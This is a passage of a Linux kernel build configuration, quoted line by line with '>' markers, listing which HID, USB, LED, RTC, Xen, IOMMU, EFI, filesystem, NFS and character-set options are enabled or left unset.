CONFIG_UHID is not set > CONFIG_HID_GENERIC=y > > # > # Special HID drivers > # > CONFIG_HID_A4TECH=y > # CONFIG_HID_ACRUX is not set > CONFIG_HID_APPLE=y > # CONFIG_HID_APPLEIR is not set > # CONFIG_HID_AUREAL is not set > CONFIG_HID_BELKIN=y > # CONFIG_HID_BETOP_FF is not set > CONFIG_HID_CHERRY=y > CONFIG_HID_CHICONY=y > # CONFIG_HID_CP2112 is not set > CONFIG_HID_CYPRESS=y > # CONFIG_HID_DRAGONRISE is not set > # CONFIG_HID_EMS_FF is not set > # CONFIG_HID_ELECOM is not set > # CONFIG_HID_ELO is not set > CONFIG_HID_EZKEY=y > # CONFIG_HID_HOLTEK is not set > # CONFIG_HID_GT683R is not set > # CONFIG_HID_KEYTOUCH is not set > # CONFIG_HID_KYE is not set > # CONFIG_HID_UCLOGIC is not set > # CONFIG_HID_WALTOP is not set > # CONFIG_HID_GYRATION is not set > # CONFIG_HID_ICADE is not set > # CONFIG_HID_TWINHAN is not set > CONFIG_HID_KENSINGTON=y > # CONFIG_HID_LCPOWER is not set > # CONFIG_HID_LENOVO is not set > CONFIG_HID_LOGITECH=y > # CONFIG_HID_LOGITECH_DJ is not set > # CONFIG_HID_LOGITECH_HIDPP is not set > CONFIG_LOGITECH_FF=y > CONFIG_LOGIRUMBLEPAD2_FF=y > CONFIG_LOGIG940_FF=y > CONFIG_LOGIWHEELS_FF=y > CONFIG_HID_MAGICMOUSE=y > CONFIG_HID_MICROSOFT=y > CONFIG_HID_MONTEREY=y > # CONFIG_HID_MULTITOUCH is not set > CONFIG_HID_NTRIG=y > # CONFIG_HID_ORTEK is not set > # CONFIG_HID_PANTHERLORD is not set > # CONFIG_HID_PENMOUNT is not set > # CONFIG_HID_PETALYNX is not set > # CONFIG_HID_PICOLCD is not set > # CONFIG_HID_PLANTRONICS is not set > # CONFIG_HID_PRIMAX is not set > # CONFIG_HID_ROCCAT is not set > # CONFIG_HID_SAITEK is not set > # CONFIG_HID_SAMSUNG is not set > # CONFIG_HID_SONY is not set > # CONFIG_HID_SPEEDLINK is not set > # CONFIG_HID_STEELSERIES is not set > # CONFIG_HID_SUNPLUS is not set > # CONFIG_HID_RMI is not set > # CONFIG_HID_GREENASIA is not set > # CONFIG_HID_SMARTJOYPLUS is not set > # CONFIG_HID_TIVO is not set > # CONFIG_HID_TOPSEED is not set > # CONFIG_HID_THINGM is not set > # CONFIG_HID_THRUSTMASTER is not set > # CONFIG_HID_WACOM is not set > # CONFIG_HID_WIIMOTE is not set > # CONFIG_HID_XINMO is not set > # CONFIG_HID_ZEROPLUS is not set > # CONFIG_HID_ZYDACRON is not set > # CONFIG_HID_SENSOR_HUB is not set > > # > # USB HID support > # > CONFIG_USB_HID=y > CONFIG_HID_PID=y > CONFIG_USB_HIDDEV=y > > # > # I2C HID support > # > # CONFIG_I2C_HID is not set > CONFIG_USB_OHCI_LITTLE_ENDIAN=y > CONFIG_USB_SUPPORT=y > CONFIG_USB_COMMON=y > CONFIG_USB_ARCH_HAS_HCD=y > CONFIG_USB=y > CONFIG_USB_ANNOUNCE_NEW_DEVICES=y > > # > # Miscellaneous USB options > # > CONFIG_USB_DEFAULT_PERSIST=y > # CONFIG_USB_DYNAMIC_MINORS is not set > # CONFIG_USB_OTG is not set > # CONFIG_USB_OTG_WHITELIST is not set > # CONFIG_USB_OTG_BLACKLIST_HUB is not set > # CONFIG_USB_OTG_FSM is not set > # CONFIG_USB_ULPI_BUS is not set > CONFIG_USB_MON=y > # CONFIG_USB_WUSB_CBAF is not set > > # > # USB Host Controller Drivers > # > # CONFIG_USB_C67X00_HCD is not set > CONFIG_USB_XHCI_HCD=y > CONFIG_USB_XHCI_PCI=y > CONFIG_USB_EHCI_HCD=y > CONFIG_USB_EHCI_ROOT_HUB_TT=y > CONFIG_USB_EHCI_TT_NEWSCHED=y > CONFIG_USB_EHCI_PCI=y > # CONFIG_USB_EHCI_HCD_PLATFORM is not set > # CONFIG_USB_OXU210HP_HCD is not set > # CONFIG_USB_ISP116X_HCD is not set > # CONFIG_USB_ISP1362_HCD is not set > # CONFIG_USB_FUSBH200_HCD is not set > # CONFIG_USB_FOTG210_HCD is not set > CONFIG_USB_OHCI_HCD=y > CONFIG_USB_OHCI_HCD_PCI=y > # CONFIG_USB_OHCI_HCD_PLATFORM is not set > CONFIG_USB_UHCI_HCD=y > # CONFIG_USB_SL811_HCD is not set > # CONFIG_USB_R8A66597_HCD is not set > # CONFIG_USB_HCD_TEST_MODE is not set > > # > # USB Device Class drivers > # > # CONFIG_USB_ACM is not set > # CONFIG_USB_PRINTER is not set > # CONFIG_USB_WDM is not set > # CONFIG_USB_TMC is not set > > # > # NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may > # > > # > # also be needed; see USB_STORAGE Help for more info > # > # CONFIG_USB_STORAGE is not set > > # > # USB Imaging devices > # > # CONFIG_USB_MDC800 is not set > # CONFIG_USB_MICROTEK is not set > # CONFIG_USBIP_CORE is not set > # CONFIG_USB_MUSB_HDRC is not set > # CONFIG_USB_DWC3 is not set > # CONFIG_USB_DWC2 is not set > # CONFIG_USB_CHIPIDEA is not set > # CONFIG_USB_ISP1760 is not set > > # > # USB port drivers > # > # CONFIG_USB_USS720 is not set > CONFIG_USB_SERIAL=y > CONFIG_USB_SERIAL_CONSOLE=y > CONFIG_USB_SERIAL_GENERIC=y > # CONFIG_USB_SERIAL_SIMPLE is not set > # CONFIG_USB_SERIAL_AIRCABLE is not set > # CONFIG_USB_SERIAL_ARK3116 is not set > # CONFIG_USB_SERIAL_BELKIN is not set > # CONFIG_USB_SERIAL_CH341 is not set > # CONFIG_USB_SERIAL_WHITEHEAT is not set > # CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set > # CONFIG_USB_SERIAL_CP210X is not set > # CONFIG_USB_SERIAL_CYPRESS_M8 is not set > # CONFIG_USB_SERIAL_EMPEG is not set > # CONFIG_USB_SERIAL_FTDI_SIO is not set > # CONFIG_USB_SERIAL_VISOR is not set > # CONFIG_USB_SERIAL_IPAQ is not set > # CONFIG_USB_SERIAL_IR is not set > # CONFIG_USB_SERIAL_EDGEPORT is not set > # CONFIG_USB_SERIAL_EDGEPORT_TI is not set > # CONFIG_USB_SERIAL_F81232 is not set > # CONFIG_USB_SERIAL_GARMIN is not set > # CONFIG_USB_SERIAL_IPW is not set > # CONFIG_USB_SERIAL_IUU is not set > # CONFIG_USB_SERIAL_KEYSPAN_PDA is not set > # CONFIG_USB_SERIAL_KEYSPAN is not set > # CONFIG_USB_SERIAL_KLSI is not set > # CONFIG_USB_SERIAL_KOBIL_SCT is not set > # CONFIG_USB_SERIAL_MCT_U232 is not set > # CONFIG_USB_SERIAL_METRO is not set > # CONFIG_USB_SERIAL_MOS7720 is not set > # CONFIG_USB_SERIAL_MOS7840 is not set > # CONFIG_USB_SERIAL_MXUPORT is not set > # CONFIG_USB_SERIAL_NAVMAN is not set > # CONFIG_USB_SERIAL_PL2303 is not set > # CONFIG_USB_SERIAL_OTI6858 is not set > # CONFIG_USB_SERIAL_QCAUX is not set > # CONFIG_USB_SERIAL_QUALCOMM is not set > # CONFIG_USB_SERIAL_SPCP8X5 is not set > # CONFIG_USB_SERIAL_SAFE is not set > # CONFIG_USB_SERIAL_SIERRAWIRELESS is not set > # CONFIG_USB_SERIAL_SYMBOL is not set > # CONFIG_USB_SERIAL_TI is not set > # CONFIG_USB_SERIAL_CYBERJACK is not set > # CONFIG_USB_SERIAL_XIRCOM is not set > # CONFIG_USB_SERIAL_OPTION is not set > # CONFIG_USB_SERIAL_OMNINET is not set > # CONFIG_USB_SERIAL_OPTICON is not set > # CONFIG_USB_SERIAL_XSENS_MT is not set > # CONFIG_USB_SERIAL_WISHBONE is not set > # CONFIG_USB_SERIAL_SSU100 is not set > # CONFIG_USB_SERIAL_QT2 is not set > # CONFIG_USB_SERIAL_DEBUG is not set > > # > # USB Miscellaneous drivers > # > # CONFIG_USB_EMI62 is not set > # CONFIG_USB_EMI26 is not set > # CONFIG_USB_ADUTUX is not set > # CONFIG_USB_SEVSEG is not set > # CONFIG_USB_RIO500 is not set > # CONFIG_USB_LEGOTOWER is not set > # CONFIG_USB_LCD is not set > # CONFIG_USB_LED is not set > # CONFIG_USB_CYPRESS_CY7C63 is not set > # CONFIG_USB_CYTHERM is not set > # CONFIG_USB_IDMOUSE is not set > # CONFIG_USB_FTDI_ELAN is not set > # CONFIG_USB_APPLEDISPLAY is not set > # CONFIG_USB_SISUSBVGA is not set > # CONFIG_USB_LD is not set > # CONFIG_USB_TRANCEVIBRATOR is not set > # CONFIG_USB_IOWARRIOR is not set > # CONFIG_USB_TEST is not set > # CONFIG_USB_EHSET_TEST_FIXTURE is not set > # CONFIG_USB_ISIGHTFW is not set > # CONFIG_USB_YUREX is not set > # CONFIG_USB_EZUSB_FX2 is not set > # CONFIG_USB_HSIC_USB3503 is not set > # CONFIG_USB_LINK_LAYER_TEST is not set > # CONFIG_USB_CHAOSKEY is not set > > # > # USB Physical Layer drivers > # > # CONFIG_USB_PHY is not set > # CONFIG_NOP_USB_XCEIV is not set > # CONFIG_USB_GPIO_VBUS is not set > # CONFIG_USB_ISP1301 is not set > # CONFIG_USB_GADGET is not set > CONFIG_USB_LED_TRIG=y > # CONFIG_UWB is not set > # CONFIG_MMC is not set > # CONFIG_MEMSTICK is not set > CONFIG_NEW_LEDS=y > CONFIG_LEDS_CLASS=y > # CONFIG_LEDS_CLASS_FLASH is not set > > # > # LED drivers > # > # CONFIG_LEDS_LM3530 is not set > # CONFIG_LEDS_LM3642 is not set > # CONFIG_LEDS_PCA9532 is not set > # CONFIG_LEDS_GPIO is not set > # CONFIG_LEDS_LP3944 is not set > # CONFIG_LEDS_LP5521 is not set > # CONFIG_LEDS_LP5523 is not set > # CONFIG_LEDS_LP5562 is not set > # CONFIG_LEDS_LP8501 is not set > # CONFIG_LEDS_LP8860 is not set > # CONFIG_LEDS_CLEVO_MAIL is not set > # CONFIG_LEDS_PCA955X is not set > # CONFIG_LEDS_PCA963X is not set > # CONFIG_LEDS_BD2802 is not set > # CONFIG_LEDS_INTEL_SS4200 is not set > # CONFIG_LEDS_LT3593 is not set > # CONFIG_LEDS_TCA6507 is not set > # CONFIG_LEDS_TLC591XX is not set > # CONFIG_LEDS_LM355x is not set > > # > # LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM) > # > # CONFIG_LEDS_BLINKM is not set > # CONFIG_LEDS_PM8941_WLED is not set > > # > # LED Triggers > # > CONFIG_LEDS_TRIGGERS=y > # CONFIG_LEDS_TRIGGER_TIMER is not set > # CONFIG_LEDS_TRIGGER_ONESHOT is not set > # CONFIG_LEDS_TRIGGER_HEARTBEAT is not set > # CONFIG_LEDS_TRIGGER_BACKLIGHT is not set > # CONFIG_LEDS_TRIGGER_CPU is not set > # CONFIG_LEDS_TRIGGER_GPIO is not set > # CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set > > # > # iptables trigger is under Netfilter config (LED target) > # > # CONFIG_LEDS_TRIGGER_TRANSIENT is not set > # CONFIG_LEDS_TRIGGER_CAMERA is not set > CONFIG_ACCESSIBILITY=y > CONFIG_A11Y_BRAILLE_CONSOLE=y > # CONFIG_INFINIBAND is not set > CONFIG_EDAC_ATOMIC_SCRUB=y > CONFIG_EDAC_SUPPORT=y > CONFIG_EDAC=y > CONFIG_EDAC_LEGACY_SYSFS=y > # CONFIG_EDAC_DEBUG is not set > # CONFIG_EDAC_DECODE_MCE is not set > # CONFIG_EDAC_MM_EDAC is not set > CONFIG_RTC_LIB=y > CONFIG_RTC_CLASS=y > CONFIG_RTC_HCTOSYS=y > CONFIG_RTC_HCTOSYS_DEVICE="rtc0" > # CONFIG_RTC_SYSTOHC is not set > # CONFIG_RTC_DEBUG is not set > > # > # RTC interfaces > # > CONFIG_RTC_INTF_SYSFS=y > CONFIG_RTC_INTF_PROC=y > CONFIG_RTC_INTF_DEV=y > # CONFIG_RTC_INTF_DEV_UIE_EMUL is not set > # CONFIG_RTC_DRV_TEST is not set > > # > # I2C RTC drivers > # > # CONFIG_RTC_DRV_ABB5ZES3 is not set > # CONFIG_RTC_DRV_ABX80X is not set > # CONFIG_RTC_DRV_DS1307 is not set > # CONFIG_RTC_DRV_DS1374 is not set > # CONFIG_RTC_DRV_DS1672 is not set > # CONFIG_RTC_DRV_DS3232 is not set > # CONFIG_RTC_DRV_MAX6900 is not set > # CONFIG_RTC_DRV_RS5C372 is not set > # CONFIG_RTC_DRV_ISL1208 is not set > # CONFIG_RTC_DRV_ISL12022 is not set > # CONFIG_RTC_DRV_ISL12057 is not set > # CONFIG_RTC_DRV_X1205 is not set > # CONFIG_RTC_DRV_PCF2127 is not set > # CONFIG_RTC_DRV_PCF8523 is not set > # CONFIG_RTC_DRV_PCF8563 is not set > # CONFIG_RTC_DRV_PCF85063 is not set > # CONFIG_RTC_DRV_PCF8583 is not set > # CONFIG_RTC_DRV_M41T80 is not set > # CONFIG_RTC_DRV_BQ32K is not set > # CONFIG_RTC_DRV_S35390A is not set > # CONFIG_RTC_DRV_FM3130 is not set > # CONFIG_RTC_DRV_RX8581 is not set > # CONFIG_RTC_DRV_RX8025 is not set > # CONFIG_RTC_DRV_EM3027 is not set > # CONFIG_RTC_DRV_RV3029C2 is not set > > # > # SPI RTC drivers > # > > # > # Platform RTC drivers > # > CONFIG_RTC_DRV_CMOS=y > # CONFIG_RTC_DRV_DS1286 is not set > # CONFIG_RTC_DRV_DS1511 is not set > # CONFIG_RTC_DRV_DS1553 is not set > # CONFIG_RTC_DRV_DS1685_FAMILY is not set > # CONFIG_RTC_DRV_DS1742 is not set > # CONFIG_RTC_DRV_DS2404 is not set > # CONFIG_RTC_DRV_STK17TA8 is not set > # CONFIG_RTC_DRV_M48T86 is not set > # CONFIG_RTC_DRV_M48T35 is not set > # CONFIG_RTC_DRV_M48T59 is not set > # CONFIG_RTC_DRV_MSM6242 is not set > # CONFIG_RTC_DRV_BQ4802 is not set > # CONFIG_RTC_DRV_RP5C01 is not set > # CONFIG_RTC_DRV_V3020 is not set > > # > # on-CPU RTC drivers > # > > # > # HID Sensor RTC drivers > # > # CONFIG_RTC_DRV_HID_SENSOR_TIME is not set > CONFIG_DMADEVICES=y > # CONFIG_DMADEVICES_DEBUG is not set > > # > # DMA Devices > # > # CONFIG_INTEL_IOATDMA is not set > # CONFIG_DW_DMAC is not set > # CONFIG_DW_DMAC_PCI is not set > # CONFIG_HSU_DMA_PCI is not set > CONFIG_DMA_ACPI=y > CONFIG_AUXDISPLAY=y > # CONFIG_KS0108 is not set > # CONFIG_UIO is not set > # CONFIG_VFIO is not set > # CONFIG_VIRT_DRIVERS is not set > CONFIG_VIRTIO=y > > # > # Virtio drivers > # > CONFIG_VIRTIO_PCI=y > CONFIG_VIRTIO_PCI_LEGACY=y > CONFIG_VIRTIO_BALLOON=y > # CONFIG_VIRTIO_INPUT is not set > # CONFIG_VIRTIO_MMIO is not set > > # > # Microsoft Hyper-V guest support > # > # CONFIG_HYPERV is not set > > # > # Xen driver support > # > CONFIG_XEN_BALLOON=y > CONFIG_XEN_SELFBALLOONING=y > # CONFIG_XEN_BALLOON_MEMORY_HOTPLUG is not set > CONFIG_XEN_SCRUB_PAGES=y > # CONFIG_XEN_DEV_EVTCHN is not set > CONFIG_XEN_BACKEND=y > # CONFIG_XENFS is not set > CONFIG_XEN_SYS_HYPERVISOR=y > CONFIG_XEN_XENBUS_FRONTEND=y > # CONFIG_XEN_GNTDEV is not set > # CONFIG_XEN_GRANT_DEV_ALLOC is not set > CONFIG_SWIOTLB_XEN=y > CONFIG_XEN_TMEM=m > # CONFIG_XEN_PCIDEV_BACKEND is not set > CONFIG_XEN_PRIVCMD=m > # CONFIG_XEN_ACPI_PROCESSOR is not set > # CONFIG_XEN_MCE_LOG is not set > CONFIG_XEN_HAVE_PVMMU=y > CONFIG_XEN_EFI=y > CONFIG_XEN_AUTO_XLATE=y > CONFIG_XEN_ACPI=y > CONFIG_STAGING=y > # CONFIG_SLICOSS is not set > # CONFIG_COMEDI is not set > # CONFIG_PANEL is not set > # CONFIG_RTL8192U is not set > # CONFIG_RTLLIB is not set > # CONFIG_R8712U is not set > # CONFIG_R8188EU is not set > # CONFIG_RTS5208 is not set > # CONFIG_FB_SM7XX is not set > # CONFIG_FB_SM750 is not set > # CONFIG_FB_XGI is not set > # CONFIG_FT1000 is not set > > # > # Speakup console speech > # > # CONFIG_SPEAKUP is not set > # CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4 is not set > CONFIG_STAGING_MEDIA=y > > # > # Android > # > # CONFIG_USB_WPAN_HCD is not set > # CONFIG_WIMAX_GDM72XX is not set > # CONFIG_LTE_GDM724X is not set > # CONFIG_LUSTRE_FS is not set > # CONFIG_DGNC is not set > # CONFIG_DGAP is not set > # CONFIG_GS_FPGABOOT is not set > # CONFIG_CRYPTO_SKEIN is not set > # CONFIG_UNISYSSPAR is not set > CONFIG_X86_PLATFORM_DEVICES=y > # CONFIG_ACERHDF is not set > # CONFIG_ASUS_LAPTOP is not set > # CONFIG_DELL_SMO8800 is not set > # CONFIG_FUJITSU_LAPTOP is not set > # CONFIG_FUJITSU_TABLET is not set > # CONFIG_HP_ACCEL is not set > # CONFIG_HP_WIRELESS is not set > # CONFIG_PANASONIC_LAPTOP is not set > # CONFIG_THINKPAD_ACPI is not set > # CONFIG_SENSORS_HDAPS is not set > # CONFIG_INTEL_MENLOW is not set > # CONFIG_EEEPC_LAPTOP is not set > # CONFIG_ACPI_WMI is not set > # CONFIG_TOPSTAR_LAPTOP is not set > # CONFIG_TOSHIBA_BT_RFKILL is not set > # CONFIG_TOSHIBA_HAPS is not set > # CONFIG_ACPI_CMPC is not set > # CONFIG_INTEL_IPS is not set > # CONFIG_IBM_RTL is not set > # CONFIG_SAMSUNG_LAPTOP is not set > # CONFIG_SAMSUNG_Q10 is not set > # CONFIG_APPLE_GMUX is not set > # CONFIG_INTEL_RST is not set > CONFIG_INTEL_SMARTCONNECT=y > CONFIG_PVPANIC=y > # CONFIG_INTEL_PMC_IPC is not set > CONFIG_CHROME_PLATFORMS=y > # CONFIG_CHROMEOS_LAPTOP is not set > # CONFIG_CHROMEOS_PSTORE is not set > CONFIG_CLKDEV_LOOKUP=y > CONFIG_HAVE_CLK_PREPARE=y > CONFIG_COMMON_CLK=y > > # > # Common Clock Framework > # > # CONFIG_COMMON_CLK_SI5351 is not set > # CONFIG_COMMON_CLK_PXA is not set > # CONFIG_COMMON_CLK_CDCE706 is not set > > # > # Hardware Spinlock drivers > # > > # > # Clock Source drivers > # > CONFIG_CLKEVT_I8253=y > CONFIG_I8253_LOCK=y > CONFIG_CLKBLD_I8253=y > # CONFIG_ATMEL_PIT is not set > # CONFIG_SH_TIMER_CMT is not set > # CONFIG_SH_TIMER_MTU2 is not set > # CONFIG_SH_TIMER_TMU is not set > # CONFIG_EM_TIMER_STI is not set > # CONFIG_MAILBOX is not set > CONFIG_IOMMU_API=y > CONFIG_IOMMU_SUPPORT=y > > # > # Generic IOMMU Pagetable Support > # > CONFIG_IOMMU_IOVA=y > CONFIG_AMD_IOMMU=y > CONFIG_AMD_IOMMU_STATS=y > # CONFIG_AMD_IOMMU_V2 is not set > CONFIG_DMAR_TABLE=y > CONFIG_INTEL_IOMMU=y > # CONFIG_INTEL_IOMMU_DEFAULT_ON is not set > CONFIG_INTEL_IOMMU_FLOPPY_WA=y > CONFIG_IRQ_REMAP=y > > # > # Remoteproc drivers > # > # CONFIG_STE_MODEM_RPROC is not set > > # > # Rpmsg drivers > # > > # > # SOC (System On Chip) specific Drivers > # > # CONFIG_SUNXI_SRAM is not set > # CONFIG_SOC_TI is not set > CONFIG_PM_DEVFREQ=y > > # > # DEVFREQ Governors > # > # CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND is not set > # CONFIG_DEVFREQ_GOV_PERFORMANCE is not set > # CONFIG_DEVFREQ_GOV_POWERSAVE is not set > # CONFIG_DEVFREQ_GOV_USERSPACE is not set > > # > # DEVFREQ Drivers > # > # CONFIG_PM_DEVFREQ_EVENT is not set > # CONFIG_EXTCON is not set > # CONFIG_MEMORY is not set > # CONFIG_IIO is not set > # CONFIG_NTB is not set > # CONFIG_VME_BUS is not set > # CONFIG_PWM is not set > # CONFIG_IPACK_BUS is not set > CONFIG_RESET_CONTROLLER=y > # CONFIG_FMC is not set > > # > # PHY Subsystem > # > CONFIG_GENERIC_PHY=y > # CONFIG_PHY_PXA_28NM_HSIC is not set > # CONFIG_PHY_PXA_28NM_USB2 is not set > # CONFIG_BCM_KONA_USB2_PHY is not set > CONFIG_POWERCAP=y > # CONFIG_INTEL_RAPL is not set > # CONFIG_MCB is not set > CONFIG_RAS=y > # CONFIG_THUNDERBOLT is not set > > # > # Android > # > # CONFIG_ANDROID is not set > CONFIG_LIBNVDIMM=y > CONFIG_BLK_DEV_PMEM=m > CONFIG_ND_BLK=m > CONFIG_ND_BTT=m > CONFIG_BTT=y > > # > # Firmware Drivers > # > # CONFIG_EDD is not set > CONFIG_FIRMWARE_MEMMAP=y > # CONFIG_DELL_RBU is not set > # CONFIG_DCDBAS is not set > CONFIG_DMIID=y > CONFIG_DMI_SYSFS=y > CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y > CONFIG_ISCSI_IBFT_FIND=y > # CONFIG_ISCSI_IBFT is not set > # CONFIG_GOOGLE_FIRMWARE is not set > > # > # EFI (Extensible Firmware Interface) Support > # > CONFIG_EFI_VARS=y > CONFIG_EFI_ESRT=y > CONFIG_EFI_VARS_PSTORE=y > CONFIG_EFI_VARS_PSTORE_DEFAULT_DISABLE=y > CONFIG_EFI_RUNTIME_MAP=y > CONFIG_EFI_RUNTIME_WRAPPERS=y > CONFIG_UEFI_CPER=y > > # > # File systems > # > CONFIG_DCACHE_WORD_ACCESS=y > CONFIG_EXT2_FS=y > CONFIG_EXT2_FS_XATTR=y > CONFIG_EXT2_FS_POSIX_ACL=y > CONFIG_EXT2_FS_SECURITY=y > # CONFIG_EXT3_FS is not set > CONFIG_EXT4_FS=y > CONFIG_EXT4_USE_FOR_EXT23=y > CONFIG_EXT4_FS_POSIX_ACL=y > CONFIG_EXT4_FS_SECURITY=y > # CONFIG_EXT4_ENCRYPTION is not set > # CONFIG_EXT4_DEBUG is not set > CONFIG_JBD2=y > # CONFIG_JBD2_DEBUG is not set > CONFIG_FS_MBCACHE=y > # CONFIG_REISERFS_FS is not set > # CONFIG_JFS_FS is not set > CONFIG_XFS_FS=y > CONFIG_XFS_QUOTA=y > CONFIG_XFS_POSIX_ACL=y > CONFIG_XFS_RT=y > CONFIG_XFS_DEBUG=y > # CONFIG_GFS2_FS is not set > # CONFIG_OCFS2_FS is not set > # CONFIG_BTRFS_FS is not set > # CONFIG_NILFS2_FS is not set > # CONFIG_F2FS_FS is not set > # CONFIG_FS_DAX is not set > CONFIG_FS_POSIX_ACL=y > CONFIG_EXPORTFS=y > CONFIG_FILE_LOCKING=y > CONFIG_FSNOTIFY=y > CONFIG_DNOTIFY=y > CONFIG_INOTIFY_USER=y > CONFIG_FANOTIFY=y > CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y > CONFIG_QUOTA=y > CONFIG_QUOTA_NETLINK_INTERFACE=y > # CONFIG_PRINT_QUOTA_WARNING is not set > # CONFIG_QUOTA_DEBUG is not set > CONFIG_QUOTA_TREE=y > # CONFIG_QFMT_V1 is not set > CONFIG_QFMT_V2=y > CONFIG_QUOTACTL=y > CONFIG_QUOTACTL_COMPAT=y > CONFIG_AUTOFS4_FS=y > CONFIG_FUSE_FS=y > # CONFIG_CUSE is not set > # CONFIG_OVERLAY_FS is not set > > # > # Caches > # > CONFIG_FSCACHE=y > CONFIG_FSCACHE_STATS=y > # CONFIG_FSCACHE_HISTOGRAM is not set > # CONFIG_FSCACHE_DEBUG is not set > CONFIG_FSCACHE_OBJECT_LIST=y > # CONFIG_CACHEFILES is not set > > # > # CD-ROM/DVD Filesystems > # > # CONFIG_ISO9660_FS is not set > # CONFIG_UDF_FS is not set > > # > # DOS/FAT/NT Filesystems > # > # CONFIG_MSDOS_FS is not set > # CONFIG_VFAT_FS is not set > # CONFIG_NTFS_FS is not set > > # > # Pseudo filesystems > # > CONFIG_PROC_FS=y > CONFIG_PROC_KCORE=y > CONFIG_PROC_VMCORE=y > CONFIG_PROC_SYSCTL=y > CONFIG_PROC_PAGE_MONITOR=y > # CONFIG_PROC_CHILDREN is not set > CONFIG_KERNFS=y > CONFIG_SYSFS=y > CONFIG_TMPFS=y > CONFIG_TMPFS_POSIX_ACL=y > CONFIG_TMPFS_XATTR=y > CONFIG_HUGETLBFS=y > CONFIG_HUGETLB_PAGE=y > CONFIG_CONFIGFS_FS=y > CONFIG_EFIVAR_FS=y > CONFIG_MISC_FILESYSTEMS=y > # CONFIG_ADFS_FS is not set > # CONFIG_AFFS_FS is not set > # CONFIG_ECRYPT_FS is not set > # CONFIG_HFS_FS is not set > # CONFIG_HFSPLUS_FS is not set > # CONFIG_BEFS_FS is not set > # CONFIG_BFS_FS is not set > # CONFIG_EFS_FS is not set > # CONFIG_LOGFS is not set > # CONFIG_CRAMFS is not set > # CONFIG_SQUASHFS is not set > # CONFIG_VXFS_FS is not set > # CONFIG_MINIX_FS is not set > # CONFIG_OMFS_FS is not set > # CONFIG_HPFS_FS is not set > # CONFIG_QNX4FS_FS is not set > # CONFIG_QNX6FS_FS is not set > # CONFIG_ROMFS_FS is not set > CONFIG_PSTORE=y > # CONFIG_PSTORE_CONSOLE is not set > # CONFIG_PSTORE_PMSG is not set > # CONFIG_PSTORE_FTRACE is not set > # CONFIG_PSTORE_RAM is not set > # CONFIG_SYSV_FS is not set > # CONFIG_UFS_FS is not set > CONFIG_NETWORK_FILESYSTEMS=y > CONFIG_NFS_FS=y > # CONFIG_NFS_V2 is not set > # CONFIG_NFS_V3 is not set > CONFIG_NFS_V4=y > CONFIG_NFS_SWAP=y > CONFIG_NFS_V4_1=y > CONFIG_NFS_V4_2=y > CONFIG_PNFS_FILE_LAYOUT=y > CONFIG_PNFS_BLOCK=y > CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org" > # CONFIG_NFS_V4_1_MIGRATION is not set > CONFIG_NFS_V4_SECURITY_LABEL=y > CONFIG_NFS_FSCACHE=y > # CONFIG_NFS_USE_LEGACY_DNS is not set > CONFIG_NFS_USE_KERNEL_DNS=y > CONFIG_NFS_DEBUG=y > CONFIG_NFSD=y > CONFIG_NFSD_V2_ACL=y > CONFIG_NFSD_V3=y > CONFIG_NFSD_V3_ACL=y > CONFIG_NFSD_V4=y > CONFIG_NFSD_PNFS=y > CONFIG_NFSD_V4_SECURITY_LABEL=y > # CONFIG_NFSD_FAULT_INJECTION is not set > CONFIG_GRACE_PERIOD=y > CONFIG_LOCKD=y > CONFIG_LOCKD_V4=y > CONFIG_NFS_ACL_SUPPORT=y > CONFIG_NFS_COMMON=y > CONFIG_SUNRPC=y > CONFIG_SUNRPC_GSS=y > CONFIG_SUNRPC_BACKCHANNEL=y > CONFIG_SUNRPC_SWAP=y > CONFIG_RPCSEC_GSS_KRB5=y > CONFIG_SUNRPC_DEBUG=y > # CONFIG_CEPH_FS is not set > # CONFIG_CIFS is not set > # CONFIG_NCP_FS is not set > # CONFIG_CODA_FS is not set > # CONFIG_AFS_FS is not set > CONFIG_NLS=y > CONFIG_NLS_DEFAULT="utf8" > CONFIG_NLS_CODEPAGE_437=y > # CONFIG_NLS_CODEPAGE_737 is not set > # CONFIG_NLS_CODEPAGE_775 is not set > # CONFIG_NLS_CODEPAGE_850 is not set > # CONFIG_NLS_CODEPAGE_852 is not set > # CONFIG_NLS_CODEPAGE_855 is not set > # CONFIG_NLS_CODEPAGE_857 is not set > # CONFIG_NLS_CODEPAGE_860 is not set > # CONFIG_NLS_CODEPAGE_861 is not set > # CONFIG_NLS_CODEPAGE_862 is not set > # CONFIG_NLS_CODEPAGE_863 is not set > # CONFIG_NLS_CODEPAGE_864 is not set > # CONFIG_NLS_CODEPAGE_865 is not set > # CONFIG_NLS_CODEPAGE_866 is not set > # CONFIG_NLS_CODEPAGE_869 is not set > # CONFIG_NLS_CODEPAGE_936 is not set > # CONFIG_NLS_CODEPAGE_950 is not set > # CONFIG_NLS_CODEPAGE_932 is not set > # CONFIG_NLS_CODEPAGE_949 is not set > # CONFIG_NLS_CODEPAGE_874 is not set > # CONFIG_NLS_ISO8859_8 is not set > # CONFIG_NLS_CODEPAGE_1250 is not set > # CONFIG_NLS_CODEPAGE_1251 is not set > CONFIG_NLS_ASCII=y > # CONFIG_NLS_ISO8859_1 is not set > # CONFIG_NLS_ISO8859_2 is not set > # CONFIG_NLS_ISO8859_3 is not set > # CONFIG_NLS_ISO8859_4 is not set > # CONFIG_NLS_ISO8859_5 is not set > # CONFIG_NLS_ISO8859_6 is not set > # CONFIG_NLS_ISO8859_7 is not set > # CONFIG_NLS_ISO8859_9 is not set > # CONFIG_NLS_ISO8859_13 is not set > # CONFIG_NLS_ISO8859_14 is not set > # CONFIG_NLS_ISO8859_15 is not set > # CONFIG_NLS_KOI8_R is not set > # CONFIG_NLS_KOI8_U is not set > # CONFIG_NLS_MAC_ROMAN is not set > # CONFIG_NLS_MAC_CELTIC is not set > # CONFIG_NLS_MAC_CENTEURO is not set > # CONFIG_NLS_MAC_CROATIAN is not set > # CONFIG_NLS_MAC_CYRILLIC is not set > # CONFIG_NLS_MAC_GAELIC is not set > # CONFIG_NLS_MAC_GREEK is not set > # CONFIG_NLS_MAC_ICELAND is not set > # CONFIG_NLS_MAC_INUIT is not set > # 